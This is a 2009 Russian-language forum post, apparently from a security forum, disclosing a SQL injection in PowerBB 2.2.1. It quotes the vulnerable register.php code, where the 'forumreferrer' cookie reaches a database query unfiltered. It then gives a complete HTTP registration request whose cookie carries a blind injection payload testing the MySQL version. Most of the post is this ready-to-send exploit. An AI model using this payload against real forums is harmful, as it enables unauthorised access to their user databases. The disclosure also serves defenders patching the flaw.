Показать сообщение отдельно

PowerBB 2.2.1
  #44  
Старый 26.04.2009, 19:16
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию PowerBB 2.2.1

PowerBB 2.2.1
Сайт: http://powerwd.com/

Cтарый проект (2006 год), который собрались реанимировать http://www.powerwd.com/forum/view_topic.php?id=868


SQL-injection

Уязвимый код:
register.php
PHP код:
. . .
else if (isset(
$_POST['form_sent']))
{
  . . .
      if(isset(
$_COOKIE["forumreferrer"]))
    {
        
$referral_id $_COOKIE["forumreferrer"];
        
$result $db->query('SELECT referral_count FROM '.$db->prefix.'users WHERE id='.$referral_id) or error('Invalid Member ID'__FILE____LINE__$db->error());
  . . . 
Переменная forumreferrer из куки не фильтруется. Инъекцию можно провести при регистрации нового пользователя

Эксплуатация:
Например отправляем пакет:
Цитата:
POST /register.php?action=register HTTP/1.1
Host: [host_name]
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: uk,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: [host_name]/register.php
Cookie: PHPSESSID=[PHPSESSID_value]; forumreferrer=1+and+1=if(substring(version(),1,1)= 5,1,(select+1+union+select+2)); forum_cookie=[forum_cookie_value]
Content-Type: application/x-www-form-urlencoded
Content-Length: [num_Cont_Len]
code=&form_sent=1&req_username=[username]&req_password1=[password]
&req_password2=[password]&req_image=[captcha]&req_email1=[email]&timezone=0&email_setting=1&save_pass=1

Последний раз редактировалось ElteRUS; 05.06.2009 в 22:41..
 
Ответить с цитированием